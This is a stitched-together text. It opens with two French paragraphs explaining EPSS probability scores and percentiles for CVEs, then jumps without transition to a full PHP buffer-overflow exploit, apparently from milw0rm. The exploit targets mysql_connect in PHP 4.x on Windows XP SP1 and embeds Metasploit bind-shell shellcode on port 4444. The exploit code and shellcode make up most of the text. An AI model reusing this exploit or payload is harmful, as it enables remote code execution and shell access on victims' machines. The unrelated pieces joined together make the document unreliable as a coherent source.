Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<?php /* This exploit was designed to work with PHP versions 4.3.10 and 4.4.0 under Windows XP SP 1. If another operating system is used, the replacement EIP must be changed. The replacement EIP is written 261 bytes into our string. For this exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1. The replacement ESI is simply the base of the PHP image. Locations after this address will be overwritten with some internal data. Our shellcode is written into the $user variable. $two is used to prevent $user from being truncated with a MySQL error message. Cut from advisory (untested) /str0ke */ //Exploit for // Apache/1.3.33 // PHP/4.4.0 //Windows only $eip = "71AB5651"; //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0 $esi = "10000000"; //ESI - Temporary. The memory under this location will be trashed. //Metasploit win32 bind shell on port 4444 //Thread exit method, no filter $shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0"); //Endian conversion $eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2); $esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2); $overflowstring = "localhost:/"; $overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; $overflowstring .= pack("H*",$eip); //EIP $overflowstring .= pack("H*",$esi); //ESI $overflowstring .= "/"; //If we don't define this, our shellcode gets truncated $two = "AAAAAAAAAA"; mysql_connect($overflowstring, $shellcode); ?> # milw0rm.com [2006-01-05]